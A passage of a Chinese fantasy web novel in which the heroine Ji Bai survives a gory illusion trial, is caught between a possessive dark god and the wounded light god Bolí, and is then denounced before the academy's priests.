她恍惚间好似看见白茫茫的雾气中倒悬着无数赤裸的尸体,逐渐冰冷的血顺着伤口滴答滴答地落在地上。 季白不安地往后退了一步,紧紧握住了手中的魔杖以便应对随时会出现的危险。 忽而,眼前的白雾逐渐散去,一个熟悉又陌生的场景浮现在季白面前。 脚下踩着的草地变成了柔软的地毯,格外冗长的走廊看不见尽头,也不知是要通往何地。 走廊的左右两边是一扇扇刷着红漆的门,季白抬脚往里走,手中的魔杖不知在何时不翼而飞。 头顶昏暗的灯泡时不时会闪烁一下,发出斯拉斯拉的电流声。 季白感觉自己好像走在一条将要废弃且看不见尽头的酒店长廊中,越发昏暗的光线衬得两边的门红得似是被血染成的。 那门红得刺眼,红得浓稠,多看上一眼上面的红就好似流动的血一般顺着门缝流到季白的脚边。 季白心中一颤,不敢再看,这难道就是学院的考验吗? 考验一个人的勇气? 可是这个考验也太阴间风了吧? 而且为什么会出现一个原本不该存在于这个世界的场景,难道是因为她不是这个世界的人吗? 突然,她脚下一个踉跄,似是踢到了什么凸出来的东西,季白低头一看竟是一节凸出的白骨…… 尖锐的骨刺刺破地毯,又因季白刚刚那一脚使原本就破洞的地毯再次裂开了一条很大的缝隙,而季白也透过了这条缝隙看清她脚下踩的是什么。 白骨,数之不尽的白骨。 地面突然颤抖起来,血顺着两边鲜红的门流入白骨之中,它们好似重新获得了生机,挣扎着朝季白扑来,要把她也拽入这白骨地狱。 季白不敢停留,拼了命地往前跑,身后的白骨组成了一张巨大的骷髅头,一双双腐朽的手穿过血红的门前来拉扯她,要把她拽入门中。 季白恨不能再多生两条腿,她想要施展魔法自救,却发现这个鬼地方限制了她体内的魔法能量,只能靠自己的力量跑出去。 她总算跑到了走廊的尽头,只见前方有一个下行的楼梯,来不及多想的季白,急匆匆地顺着楼梯跑了下去,身后的怪物与异动逐渐恢复平静。 这时,前面又突然传来咚咚咚的声音,季白只觉眼前一亮,还不及庆幸的她就看见一位面容模糊的妇人蹲在地上一刀一刀地剁着菜板上的肉,肉已完全变成了稀碎的肉末,可她还不知疲倦,机械地挥动着手中的菜刀。 她转过身来,露出一抹只能看见白齿的森森笑意,“你来了啊,包子快做好了。” 季白清楚地看见菜板下残留着一根细小的人类断指,这是人/肉! 季白后退一步,恶心得险些吐了出来。 她的余光里又看见沸腾的锅里煮着一颗人头。 不对!这里也不安全。 季白转身要跑,却见来路已经封死了。 妇人举着刀站了起来,那张脸还是模糊不清,可生着锋利牙齿的嘴巴却格外清晰。 “原来不是客人,是食物啊。” “呵呵,今天又能加道菜了。” 季白见状想也不想就端着面前沸腾的锅朝她砸了过去,沸腾的汤汁浇得她龇牙咧嘴,那颗煮得软烂的人头翻滚了几圈,煮熟的血肉就全掉了下来。 空气里弥散着一股奇怪的味道,让人几乎快要喘不过气。 门已被锁死,任凭她如何努力也破不开,脚腕被一双冰凉的手抓住,季白低头一看抓住她的正是刚刚的妇人。 那双如枯木般的手已被烫得满手是泡,可她好似不知疼一般贪婪地抓住她的脚往后拖。 “食物……新鲜的食物。” 她举起刀就朝季白的小腿砍去,这一刀下去,她的腿肯定会断。 季白连忙扑上去夺刀,刀锋砍中她的大臂,瞬时就有血溢出来。 新鲜血液的气味显然越发刺激眼前这个不是人的怪物,她的眼睛闪烁着兴奋的幽幽绿光,整个人以一种扭曲的姿态扑咬上来。 季白强忍着痛,一把将刀夺过,随后一刀砍下了她的头。 那颗头掉了后竟还没有死,又滴溜溜地滚了回来,张着嘴要咬她。 季白一面躲闪一面疯狂地用刀劈砍着面前的门,总算门被她劈开了一个洞,她连忙钻了出去,逃离这个如噩梦般可怖的地方。 那怪物似是不能离开房间,那张狰狞的脸贴在那个缝隙上死死地盯着季白,大声吼叫着:“食物,新鲜的食物,别跑。” 眼前的路依旧只有一个向下的楼梯,她站在楼梯口犹豫着要不要下去,下边可能是出口,也有可能又是一个未知的危险。 她正在犹豫间,耳边突然传来一道清澈温和的声音,宛若阴雨天的第一缕太阳。 “季白,向上走。” 是泊里的声音。 季白循着声音向上看去,头顶只悬着潮湿乌黑的天花板,压根没有可以向上的通道。 “泊里?”季白问,“你在哪?我该如何上去?” 季白话音刚落就看见阴湿的墙蓦地破开了一个洞,紧接着无比明媚的阳光穿过洞落在季白身上。 季白只觉身子陡然一轻,在阳光的接引下整个人缓缓向上飞去,一双白皙修长的手穿破云层朝季白伸来。 季白认得这双手,是泊里的。 “季白,抓住我。” 季白没有犹豫,抬手抓住了泊里的手。 明明她刚经历了恐怖怪诞的阴影,却丝毫没有怀疑眼前朝她伸来的手会不会是别有用心的鬼怪。 泊里握着她的手重重往上一拉,季白的身子穿过宛若浓雾一般的云层,随后整个人顺着泊里的力气跌入他的怀里。 季白先闻到了一股极为安心的味道,不是某种香气,而是……像太阳一样的气味。 季白刚刚遭受过虐待的鼻子忍不住贴在他的脖颈里猛吸了一口,等她反应过来自己做了什么时,就已经察觉到泊里变得僵硬的身子。 她有些不好意思地从泊里的身上起来,揉了揉鼻子,小声说:“抱歉啊,刚刚在下面的味道实在太难闻了,闻到好闻的气味,我就忍不住多吸了几口。” 泊里的脸色看似毫无波澜,实则……他的耳朵尖尖都已经红了。 “你……没事就好。”泊里说,“你刚刚坠入的应当是幻境。” 季白回想起刚刚那些无比恐怖又真实的场景,大臂上的伤口似乎还在隐隐作痛,那么真实的一切……都只是幻觉吗? 季白侧头看了一眼自己刚刚在幻境里受伤的大臂,大臂上干干净净没有任何伤口,似乎真的只是幻觉。 可她总觉得刚刚的一切不止是幻境,若非是泊里找到她,她或许……会一直困在无限轮回的地狱。 泊里见季白的面色仍然无比苍白,似是还没从刚刚的幻境中走出来。 他捻了捻指尖,问:“你刚刚在幻境中遇到了很可怕的东西吗?” 季白重重点头:“非常可怕。” 泊里轻轻勾起唇角,露出了一抹极浅极浅的笑容安慰季白这颗还有些惊惧不安的心。 他抬手抚上她的头顶,轻声说:“不要害怕,神与你同在。” 他微热的掌心抵在她的发顶,温度透过发丝传至她的头皮,随后流遍四肢百骸,季白舒服得好似沐浴在冬日的暖阳里。 她扬起一抹无比灿烂明媚的笑,对泊里说:“我不知道神是不是与我同在。” 她握住泊里另一只垂在身旁的手,轻声说:“但我知道泊里与我同在。” 泊里的心颤了一下,被握住的那只手情不自禁地反握了回去,直至掌心氲出潮湿的汗水,也不忍放开。 “神与泊里都与你同在。” 接下来的道路在泊里的陪同下格外平静与安全。 按照地图的指示,季白和泊里已经成功穿过了第一关的密林,接下来就是沼泽了。 泊里率先踩上嵌在沼泽里的木桩,而后转过身对季白说:“小心,我走在前面,你走我踩过的木桩会更安全。” “好。”季白笑了笑说,“你也不用这么担心我,我的运动能力还是很强的。” “嗯,我知道你很厉害。”泊里嘴上这么说着,但还是抓住季白的手让她紧紧攥着自己的衣襟,“但是搭档的意义就是要相互搀扶。” 泊里说着,又抬眸冲季白笑了一下。 “这样攥着我,万一我掉下去了,你也可以牢牢地抓住我。” 季白轻轻拽了拽泊里的衣襟,说:“我会牢牢抓着你的。” 沼泽上原本就升腾着浓郁的雾气,两人越靠近沼泽的中心,雾气也越重,潮湿的木桩长满湿滑的苔藓,稍有不慎就会掉下去,因而两个人走得很是小心。 泊里怕季白再一次消失不见,就从攥着衣襟改成了牢牢抓着季白的手。 白茫茫的雾气中突然闪过一抹黑影,泊里立即警惕地防备起来。 突然,一群乌黑的鸟类扇动着翅膀从浓雾中飞了出来,它们如同清理闯入它们领地的敌人一般朝泊里和季白发起了猛烈的进攻,泊里连忙抬手施咒进行防御。 这时,季白突然感觉脚腕一凉,低头一看竟是一只苍白的手从沼泽里伸了出来抓住她的脚腕。 这堪比鬼片的惊悚场面让季白忍不住大叫一声,她抬手就用魔杖去打,这只手却猛地用力一拽,将她拽进了沼泽。 84 第84章 泊里见状想也不想就要跟着跳下去救她,结果那些乌黑的鸟类竟组成了一张难以突破的大网,拦住了泊里的去路。 那双手抓着季白的脚腕将她一直往下拉,粘稠的泥沙挤压着她的身体,让她几乎喘不过气。 忽而,那双冰冷的手消失不见,粘稠的泥沙也陡然一空,好似一切都只是她的错觉,随后一股更为阴冷的气息将她完全包裹。 明明什么都看不见,季白却觉得有一双大手揽上了她的腰,冰冷的带着潮气的掌心激得她的肌肤打了个冷颤。 “恶魔先生?”季白轻声问。 那人没有说话只是把她搂得更紧了一点,紧到季白能清晰感受到他每一次呼吸时所带来的身体起伏。 他拉起她的手递到唇边,随后季白就感受到有一个湿润的柔软的如同小猫舌头的东西细细舔舐过她的每一根手指。 本就潮湿的手被弄得愈发湿润,粉嫩的指腹泛着一层莹润的水光。 这种怪异又堪称变态的举止让季白生出几分不适。 她本能地就要缩回手,却被他拽得动弹不得。 眼前依旧空空荡荡,季白却好似看见他抬起那张昳丽秾艳的脸,墨绿的眼眸正直勾勾地看着她,眼中是疯狂翻涌的占有欲与无比暴烈的渴求。 “为什么?”他一字一顿地问,“为什么牵他的手,你很喜欢他?” 沙哑的,如春药般的声音在她耳边响起,缓慢的语气如同一根铁杵般从她的心头碾过,压得她喘不过气。 季白舔了舔唇,说:“只是表达友好的牵手而已,恶魔先生不用这么过激吧?” “表达友好?”赫瑞特忽而重重咬了下季白的手指,强烈的痛感让季白忍不住倒吸一口凉气,她还没从疼痛中抽离,冰冷的手掌就扼住了她的脖子,靠近虎口的两根手指钳住她的下巴,随后重重吻了上去。 吸吮与啃咬的力度重到似是要把她整个人吞入腹中,舌尖扫过她的齿列又勾住她的舌头,他吻得又深又重,如同他浓烈到快要喷涌的爱欲。 唔……不行,要喘不过气了。 濒死的窒息憋得季白脸都红了,她拼了命地挣扎试图摆脱赫瑞特的吻,赫瑞特却变本加厉地吻着她,随后在季白将要窒息昏迷的那一刻,他又渡给她足够呼吸的氧气。 季白紧攥着他的衣襟,如小兽吸吮乳汁般迫切地吸允着,待她稍有所缓时,赫瑞特放开了她,那双如翡翠般的眸子如猎人紧盯着自己的猎物般紧盯着她。 她白皙的小脸因刚刚的窒息而染上一抹醉人的红晕,漂亮的眼眸湿漉漉地瞪着他,实在是让他喜欢到想要随时随地都捧在手里。 他伸手摸上她发烫的脸颊,轻声说:“只是表达友好的亲吻,你不用这么过于过激吧?” 季白听了这话气得恨不能也让他感受一下刚刚的窒息感,她强忍着怒气说:“原来是吻啊,我还以为恶魔先生是想要憋死我。” “你快放我回去。”季白说,“不然我拿不到第一了。” “急什么?”赫瑞特摩挲着她的脸颊,凑到她的耳畔哑声问,“你还没有回答我的问题,为什么牵他的手,你很喜欢他?” 赫瑞特问着季白,目光却抬头向上看了一眼,嘴角缓缓勾出一个浅浅的弧度,该等的人终于来了呢。 季白深知以赫瑞特的性格,如果今天不说出一个让他满意的回答,这家伙一定不会轻易放她离开。 “喜欢?我怎么会喜欢一个信仰光明神的蠢货,难道是我之前遭受的教训还不够深吗?”季白故意道,“他们那帮人嘴上说得一个比一个大义凛然,其实最是虚伪残忍,是非不分,我讨厌他们都来不及。” “我选泊里只不过是因他实力不错,性格良善可欺,是最好控制的搭档人选罢了。” 赫瑞特轻轻地笑了,目光遥遥看向正拼命赶过来的泊里。 他的面前有一道无形的屏障。 这个屏障很神奇,外面的人能无比清楚地看见里面的人,甚至会放大他们的声音,但屏障里的人,比如季白却什么也看不见。 他挑起季白的下巴,奖励性地在她的唇上吻了一下,轻笑道:“我喜欢这个回答。” 他话音刚落,季白就看见那双无形的捏着他下巴的手以一种不可思议地速度开始显形,肤色苍白,骨结修长,手背上是凸起的青筋,紧接着是他强壮却不粗犷的手臂,宽阔的肩膀与劲瘦的腰身,墨绿色的卷发垂至饱满挺翘的臀部。 只看身形眼前的赫瑞特要比在学院的赫瑞特成熟许多,如果说学院的赫瑞特还带着几分青涩与少年人的骄矜,他的蛊惑更像是一种不经意间所散发的魅力,那么眼前的人就像是一颗历经岁月打磨而闪闪发光的夺目宝石,全身上下都散发着属于成熟男性的气息与掌控全局的游刃有余。 少年的赫瑞特会吃醋,会生气,会做出幼稚的显眼包行为,而成熟的他,只会淡淡望着你微笑,你以为他不会生气,实则却会在下一秒扼住你的脖子把你抓回去,用轻描淡写的语气问你为什么要看别人呢。 只不过无论是哪一种形态的赫瑞特,他们的占有欲都是一样的强。 他的脸上带着一个遮住上半张脸的银质面具,裸露在外的唇形微薄,却染着一层让人无法抗拒的殷红,似是绿叶莹莹中那颗最诱人的果实。 他殷红的唇擦过她的唇角顺着下巴一路吻到脖颈,如恶魔般蛊惑人心的声音闷闷地从她的下首传来:“再多说一点,我就放你离开。” “比如说……”他的指腹点了点她的心口,轻声问,“告诉我,你的身体和你的心都属于谁?” “我的身体和我的心,以及我所有的一切都属于伟大的黑暗神。” 都属于伟大的黑暗神…… 泊里愣愣地看着眼前的一切,几乎不敢相信自己的眼睛和耳朵,那张漂亮得如同天使般完美的脸庞上满是被鸟喙啄出来的血洞,殷红的血和着眼泪滚满整张脸。 属于伟大的黑暗神。 他……只是实力不错,良善可欺,好控制的搭档人选罢了。 那她之前对他说的话算什么? 每一句都是骗他的吗?什么最好的朋友,什么泊里与我同在,什么我会一直等你,统统都是骗他的。 淡粉的血顺着下巴一滴一滴落在他洁白无瑕的白袍之上。 他那张遍布血洞,少了一只眼睛的脸,那瘦长狙楼的身材使他看上去就像是最丑恶最丑恶的怪物,可偏偏他的身上又带着温和圣洁的神圣,染血的白袍与破碎的眼神使他看起来像是坠落凡尘,身受重伤的天使。 他现在最该做的是转身离开,可他……却自虐般地站在这儿一动不动,眼睛死死盯着面前的二人,头疼得快要裂开。 那个绿发男人的笑,季白的脸,还有他们紧紧依偎的亲吻,都让他痛得快要不能呼吸。 他好似在很久很久以前就撞见过这一幕,他痛苦地抱着头嘶吼,脑子里似乎有什么东西将要破土而出…… “回答得很不错。”赫瑞特抬起头再一次吻上她的唇,带有蛊惑性地问,“那你告诉我,你究竟喜欢谁?” 季白微微皱了下眉,觉得赫瑞特的问题实在有点太多了,她正准备张口说出那三个无比正确的字时,赫瑞特却突然用食指抵住了她的嘴巴,低声说:“不要说黑暗神。” 他刻意压低了声音用只有他们两人能听见的声音说:“迄今为止,你都还没有见过他。” 季白满头问号,这位哥是连自己的醋都吃吗? 他该不会角色扮演到精分了吧。 “不说?”赫瑞特咬住她的耳朵,微微用牙齿研磨了一下,而后又改为轻轻的舔舐,“那就一直留在这儿吧。” 他说话时的气息悉数喷洒在她的耳道,弄得她有点痒痒的。 季白侧头光速吻在他的脸颊,而后轻声说:“喜欢你,恶魔先生。” “我最喜欢的就是你。” 赫瑞特嘴角那抹玩味的笑顿了顿,随后嘴角的弧度又上扬了几分,他抬头看她,墨绿色的眼眸闪烁着兴奋又渴求的光芒。 “大点声,再……大点声。” 季白深呼一口气又大声说了一遍。 赫瑞特忽而笑了起来,笑得肆意又痛快,他低头吻住她的唇,又很快地放开她。 “你的回答我很喜欢。”赫瑞特说,“走吧,去完成你的任务吧。” 赫瑞特话落往后退了一步,歪了歪头,别有深意地笑着说:“或许,我也可以帮你一把。” 季白眼神古怪地看了赫瑞特一眼,帮她? 这家伙不给她捣乱,她就谢天谢地了。 季白转过身去正要离开,却一眼看见了……站在她身后,不知等了多久的泊里。 他几乎快成了一个血人,脸上被鸟凿出的血洞已经干涸,那只空洞的眼眶与那只漂亮的金棕色眼睛都直勾勾地盯着她。 季白的心一瞬间提到了嗓子眼,汗毛都倒立起来,他到底听见了多少? 应该……全都听见了吧? 季白一瞬间就反应过来赫瑞特是故意的,故意把她拉下沼泽引来泊里,故意引诱她说出那番话让泊里死心。 这就是他的目的吗? 季白这一瞬间是真的后悔了,早知道赫瑞特这么能搞事当初在选择搭档的时候,她就选择赫瑞特了。 现在倒好别说赢得泊里的喜欢了,恐怕已是恨她恨得牙根都痒痒了。 一位和黑暗神拉扯不清,一位宣誓要效忠黑暗神的人类女子还有可能成为光明神殿的圣女,还能……获得光明神的神眷吗? 泊里抬脚朝季白走来,只看他全身上下的伤就能知道他这一路的经历绝对不轻松,他前行的每一步都在地上留下一道血痕。 他是光明神,可也是失去所有的光明神,他没有记忆,没有神力,甚至连一副健全的,正常的身体都没有。 这样的他如何是全盛时期的赫瑞特的对手。 许是身上的伤实在太严重,他在行走时踉跄了一下,眼看就要跌倒。 “泊里……”季白声音颤抖地唤了一声他的名字,本能地就想要上前去搀*扶他,结果却被赫瑞特拉住了手腕。 “哎呀,真是糟糕。”赫瑞特嘴角噙着一抹恶趣味的笑,他微微一个用力就把季白又拽回了怀里,挑起她的下巴笑眯眯地说,“怎么办呢,你的秘密全都让他听见了。” “不如……”赫瑞特嘴角的弧度越拉越大,“我帮你杀了他。” 季白紧攥他胸前的衣襟,怒目而视,问:“你是故意的,你故意让他听见我们的谈话,为什么?他只是一个普通人类而已。” “普通人类?”赫瑞特低声呢喃着这四个字,随后俯身凑近她,冰冷的银质面具贴在她的肌肤上,面具后那双墨绿的眼睛如同两汪看不见底的深潭,“既然只是普通人类,你又为何这么在意他?” 季白紧咬着唇,一时之间不知该如何回答。 她不知赫瑞特是否知道泊里的身份,也不知泊里是否知道赫瑞特的身份,算了,毁灭吧。 摆烂一念起,顿觉天地宽。 他们两个一个是黑暗神,一个是光明神,不管怎么样都比她一个普通人类厉害得多,就算两个人真的要打起来,她该担心的也是她该往哪儿躲。 眼睛好痛,好痛好痛。 他的心也很痛很痛。 痛得他不知该捂胸口还是眼睛。 “季白。” 泊里飘摇破碎的声音传到季白耳中,季白心尖颤了一下,甚至有点不敢看泊里的眼睛。 她知道泊里是一个很好很好的人,面对这样的人,季白的心总会变得柔软。 “季白,你看着我的眼睛。” 季白抬眸朝他看了过去,满脸是血的他冲她挤出一抹有点可怜的微笑。 “我知道的,那不是你的本心,你……一定是被恶魔引诱了对不对?” “只要你认清自己的罪,神明一定会宽恕你。” 赫瑞特嗤笑一声,“罪?什么罪,信奉黑暗神就是罪?你的光明神再怎么伟大,他也不能让天地没有黑暗,从来都不是我引诱他们,是他们自己心中的欲望拉扯着他们融入黑暗,却偏偏为了面子好听,硬编出一个恶魔引诱的故事。” “世界不会没有黑暗,也永远不会没有欲望。” 泊里没有理会赫瑞特,只是执拗地朝季白伸出那双满是血污的手,唇角还挂着一抹浅浅的笑,“过来,抓住我的手,像从前一样。” 季白心中不忍,可也明白如果她现在朝泊里伸出手赫瑞特一定不会放过他。 她强行移开视线,狠心道:“泊里,你走吧。” “我没有受任何人的诱惑。” 泊里悬在空中的手颤了颤,但他还是执拗地不肯收回去。 那只金棕色的眼睛紧紧盯着她,似是一只不懂拒绝,不懂嫌恶,一心只想跟着你的热情又忠心的小狗。 赫瑞特轻笑一声,“看来无论是哪一个你都一样让人讨厌。” “你难道没有听懂季白的话吗?” 哪一个你?泊里听到这句话有一瞬间的恍惚,难道……难道他还有其他的他吗? 在这一瞬间,他的脑子里好似闪过无数断断续续的画面,他好像……好像不该是这个样子的。 可那些画面去得太快,他还什么都没有想起,就已经又记不清了…… 赫瑞特放开箍在季白腰间的手,冲她挑眉笑了笑,道:“我说过,我可以帮你一把。” 他话音刚落就朝季白的身上推了一把,季白最后看见的画面就是那双如翡翠般漂亮的绿眼睛,眼底翻涌的浓烈情绪似乎是在告诉她,泊里可以做到的事,他也可以,而且还会比泊里完成的更出色。 等她再次睁开眼时,发现自己来到了一个纯白的世界,她还没看清楚周围的一切,下一秒,周遭的世界如潮水般褪去,转瞬间,她来到了一间类似于礼堂的地方。 她的上首坐在几位看起来位高权重的人类,中间的那位穿着独属于光明神殿的圣袍,两边的人群中有几位是她曾在奥斯俐见过的老师。 她怎么……突然来到这儿了? 她还有些摸不清状况,院长就率先面带微笑地捧着一个花环走到她的面前,道:“季白同学,恭喜你成为第一位进入门的同学,拿下预备圣女的名额。” 季白瞬时瞪大了眼睛,赫瑞特一掌把她推到终点了? 实在是离谱……但想想赫瑞特神明的身份,好似又可以理解了。 花环戴在她的发顶,所有人都在为她庆贺。 季白看着欢腾的人群,心中却有些担忧泊里。 黑暗神与光明神本就是死对头,她走后也不知赫瑞特会如何对付泊里。 神明……应该不会死吧? 季白这么想着悄悄看了一眼礼堂上立着的光明神像,默默在心中为泊里祈祷。 这时,只听人群中忽而传来一声惊呼。 “天呐!那是什么?” 众人纷纷透过窗朝天空看去,就看见湛蓝清澈的空中出现一颗生着翅膀的巨大眼球。 “是伟大的光明神!天呐,光明神再次降临了。” “伟大的光明神,请您赐福于我们。” 礼堂的众人无一不是低头祈祷,季白却注意到放在礼堂中央的水晶球里竟突然闪现出泊里的模样。 他奄奄一息地躺在沼泽里,像是……要死掉了。 季白的心顿时揪成了一团,她不安地朝天空望去,心想这颗大眼球的出现会不会和泊里有关? 如果那颗大眼球是决定光明神殿的光明神,那么当它接触到泊里后,会不会接受到泊里脑中的记忆? 巨大的眼珠快速朝地面坠去,比起第一次如审视猎物般慢悠悠地出场,这次的它像是一颗目的地明确的子弹。 礼堂中的人都没有抬头因而他们并没有注意到这颗巨大眼球的不正常。 这时,礼堂中的水晶球突然“砰”得一声炸开了,惊得众人瞬时抬起头看向炸毁的水晶球。 众人还没想明白水晶球为何会突然炸裂,就又听见远处传来一声山倒般的轰鸣,随后一道无比刺眼的白光从本次的试炼场地炸开。 这强烈而又刺眼的白光闪得人们睁不开眼,众人皆惊诧不已地发出惊疑。 “这……是怎么回事?难道是光明神给我们的某种指示吗?” 礼堂中地位最高的牧师勉强眯起眼睛看向白光的中心点,他的眼中闪过一缕暗芒,随后就听他高声道:“各位不要惊慌,这是神的奇迹,是光明神重临人世了!他将再次以人的形象指导我们前进的方向。” “真的吗?光明神真的要以圣父的形象再次降下福音吗?” 光明神从前的形象并非是不可接近,不可直视的巨眼模样,而是一位风姿绰约,俊美圣洁的人类青年。 他有着世间最完美的长相,那双如太阳般耀眼的金色眼睛总是盛满了圣洁的光芒,怜悯而又温柔地看向世人。 他常常显形帮助受苦受难的人类,他教人类抵御黑暗,抵御野兽,教人类抵御天灾,掌握自然之力,他常常赐福于众生,可不知从何时起,光明神的模样突然变了。 他再也没有用人类青年的样子出现过,变成了一颗不可直视的巨眼,唯有教皇能与之沟通,领会神谕。 如果光明神能再次以人类男子的形象出现,那么将是世间之福。 众人这么想着,皆怀着期待的眼神看向白光的最深处。 季白恍惚间好似看见从白光中升腾起一抹身影,圣洁而耀眼的白光笼罩着他,使人看不清他具体的模样,但能隐隐约约看出白光内确是包裹着一位生有十八翼的人。 众人顿时沸腾,七嘴八舌地对着光明神祷告,可很快大家又安静下来,虔诚地低下头来默默等着神明的旨意。 这时,一道无比威肃又圣洁的声音从空中飘荡而下。 “吾本次入世是为消灭罪孽而来,在这座学院中就隐藏着普天之下最邪恶的黑暗,它无比狡诈奸滑,在吾赶来之前逃了,但学院中还留有他的爪牙。” “请神明示我等,学院中谁是黑暗的爪牙?” 85 第85章 混在人群中的季白突然感觉有一道不容忽视的目光落在她的身上,那目光似是从天而降,如八月正午那灼热的太阳一般要将她里里外外照个透亮。 季白心尖颤了一下,无比清楚地知道这道目光的主人是谁。 泊里应该不会……说出她和黑暗神有勾连吧? 季白想起她刚进入副本时就是因与黑暗冥殿有染而被当众处决,她还记得当时在光明神殿里听见的那些血腥残忍的刑罚。 如果泊里真的说出她的名字,她不敢想象这帮狂热的信徒会对她做出什么疯狂的事…… 云层之上的光明神久久没有回声,可众人依旧不敢有丝毫的怠慢,仍然虔诚地低着头等待着神明的指示。 终于……来自神明的福音再次降下。 “本次试炼第一名的学生与黑暗神有染。” 光明神这话一出,在场的所有人眼中都闪过一抹震惊,随后用带着厌憎,鄙夷,嫌恶的目光紧盯着季白。 那刻毒冰冷的眼神好似季白是世界上最邪恶的罪人一般。 季白心中一凉,知道所有的一切都完了。 光明神有了泊里的记忆,知道她和黑暗神的交易,也知道她和黑暗神的亲近。 圣女,神眷…… 是彻底没戏了。 能暂时保下这条小命就算她超额完成任务了。 季白快速在心里合计着,要不要先弃了光明神的任务,先去完成海神或者黑暗神的任务。 “真是可恶!想不到邪恶的黑暗力量竟然入侵了学院,而我等竟还一无所知。” “若无神明提醒,我们岂不是要亲手送一个罪人给神明?” “一定不能放过她,要让她付出惨痛的代价,让那些心存恶念,试图投靠黑暗之人看清楚与恶魔为伍的下场。” 断断续续的议论声传入季白耳中,对于他们的残酷季白早已在格兰城领教过一次了,可她仍然不肯真的相信,泊里……会用那么残忍的方式对待她。 他真的会如同赫瑞特所说,让她的灵魂永生永世都受烈焰焚烧的折磨吗? “感谢伟大的光明神为我等指点迷津。”神殿牧师低头在胸前做了一个感恩的手势,随后用无比虔诚的语气说,“我等定会用永恒不灭的圣火焚毁她的肉身,净化她邪恶坠落的灵魂。” 季白深知他们所说的净化,不过是烧死她罢了。 她抬起头朝空中望去,试图看清泊里的身影,然而她所看见的也不过是一团耀眼夺目的圣光。 可那道目光还聚焦在她的身上,似乎是在思虑着该如何审判她。 “你们忘了吾曾经的教导?” 他神圣威肃的声音如铜罄般在每个人的耳中闪过,悠扬的余音如同山谷中的回声般经久不消。 这天赐般的声音是难以用语言形容的美妙,可以震慑世间的一切邪恶,也能涤清人的心灵。 “要以宽宏的心饶恕他人的过错。”光明神说,“对待被恶魔蛊惑之人,要以恩慈之心,怜悯之爱将犯错之人拉回来,要引导他人的善,要宽恕他人的罪。” “吾何时教过你们用如此残酷的手段对待有罪之人?火刑,唯有对恶魔会用此手段,你们看看她,她,是恶魔吗?” 季白听了这番话,眼中闪过一抹惊喜。 她果然没有看错泊里,他不是那样残忍的神灵。 只不过……季白心中闪过一缕疑惑,如果光明神殿所信奉的光明神是这样一位仁慈的神明,为何他们的手段又会如此的残忍? 相较于光明神的所言所行,光明神殿私下里的所作所为简直堪称是邪教了。 为首的牧师立即惶恐的认错,随后虔诚地询问:“请神赐教。” “我们该如何对待她呢?” 季白看了眼前方的牧师,总觉得这个人很奇怪。 泊里的话其实已经很清楚很明白了,作为光明神虔诚的信徒他不该再去追问,而是依照光明神之言所行。 可他……偏偏要泊里给他一个准确的答复。 如果一定要类比的话,季白觉得他像是古代逼问君主的大臣。 在这片大陆上光明神殿与黑暗冥殿常年交锋,两家斗得如同乌眼鸡一般,神殿内有不少极端的,认为一定要消灭所有与黑暗势力有染的叛徒。 泊里的这套宽恕之论显然已经不再适用纷乱不止的天下了。 光明神沉默了许久,就在季白以为他要发怒时,却听他的声音再次从云层之上传来。 “剥去她预备圣女的名额,但仍准许她继续在奥斯俐学院学习。” 光明神说完这句话后,天空中耀眼的圣光彻底消弭。 众人又一番虔诚祷告后,方抬起头来看向季白。 哪怕光明神刚说过要以宽恕之心对待犯错之人,但他们看向季白的眼神也依旧无比厌憎,似是恨不能立即冲上来杀死她一样。 季白垂下眼帘沉默不语,心中暗想道,泊里没有要她的性命,反而还继续留她在奥斯俐学院学习,说明他或许也没有那么的厌恶她,也或许是完全不在意她。 不过,不管是哪一种她眼下为了海神涅塞斯和混沌神查奥斯都该继续留在学院。 光明神的任务看来只能暂时搁置了,她先想办法获得海神的传承。 季白正低头想着日后的打算,那牧师就已行至季白身前了。 他笑意吟吟地望着她,眼中全然没有对她的厌憎与偏见,就如同光明神所说的那般用仁慈之心对待犯错之人。 “季白,这是你的名字,对吗?” 季白装作惶恐怯弱的样子点了点头,“是。” “牧师大人,我……我真的没有与恶魔勾结,我……我也不知道这是怎么回事。” 她磕磕巴巴地说着,一幅快要吓哭的样子。 这幅可怜无辜的样子,任谁看了都会信她是无罪的。 然而,伟大的光明神是绝不会说谎的。 “别怕,孩子。”牧师抬手抚了抚季白的头,遍布细纹的小眼睛里满是慈爱,“恶魔向来会蛊惑人心,你年纪这般小,定是一时被恶魔所惑。” 季白装作一幅被安慰的感动样子,抬手去擦眼角的泪,再次抬眼看他时,眼中是满满的依赖与信任。 牧师勾唇笑了笑,说:“我是光明神殿主殿的牧师丹尔道,这次是受教皇之命前来见证奥斯俐学院预备圣女的诞生,没想到竟出了这种事。” “孩子,你告诉我都发生了什么,恶魔究竟是如何诱惑你的?” 丹尔道越是慈眉善目,季白就越觉得他心思不正,但一时也拿不出什么证据,因而也就半真半假地说道: “我……我今日同泊里一起参加冒险,途经沼泽时突然被一双手拉进了沼泽里,初时我觉得自己快要喘不过气了,后来突然落入一片虚无的黑暗,有一个我看不见的人和我说话。” “他告诉我,只要帮他把泊里引来就能帮我获得预备圣女的名额,我开始是坚定的拒绝,可后来……也不知是怎的,竟鬼迷心窍地答应了。” 季白说到这儿,又捂着脸哭泣起来。 “我也不记得到底发生了什么,当我再次拥有意识的时候,泊里就已经来了,那人推了我一掌,我就莫名其妙地抵达终点了。” “牧师大人,请您相信我,除此之外我再没有与恶魔联系过,我也不知道他怎么挑中我了,不,他的目标不是我,是泊里。” “呜呜呜,是我对不起泊里,是我没能抵御恶魔的诱惑。” “可怜的孩子。”丹尔道抬手摸了摸季白的头,轻声道,“你是被恶魔附身了啊,所以什么都不记得了。” “神明已经宽恕了你的罪过,我等也不会再为难你。只是从此以后你要常常读经祷告,修持自身,再不能受恶魔所惑了。” 季白呜呜咽咽地说:“我记得了。” “去吧。” 季白离开后,丹尔道又命人去查季白的搭档泊里。 人群中显然还有人不服,认为必须给予季白严惩。 “牧师大人,我们难道就这样放过她了吗?光明神亲口所说,她可是黑暗的爪牙!哪怕不用圣火净化,也该让她吃点教训!” 丹尔道淡淡看了他一眼,“伟大的光明神都说要宽恕她的罪过,你反而要给她教训,怎么,你想违抗神的旨意吗?” 那人被噎了下后不说话了,但显然心中并没有服气,礼堂之内的许多人都是如此。 丹尔道扫视了一圈众人,看见他们中有不少人仍是义愤填膺。 他并未理会他们心中的怨念,只是冷冰冰地说了一句:“你们谁也不能伤她,否则就是弃神的叛徒。” 这句话一压下来,众人心中就算有怨,也再没有人敢说话了。 只是萌发的火苗并不会因为干草的铺盖而堙灭,看似一时风平浪静实则将会引来更汹涌猛烈的火焰。 “看!她就是和黑暗势力有染的季白。” 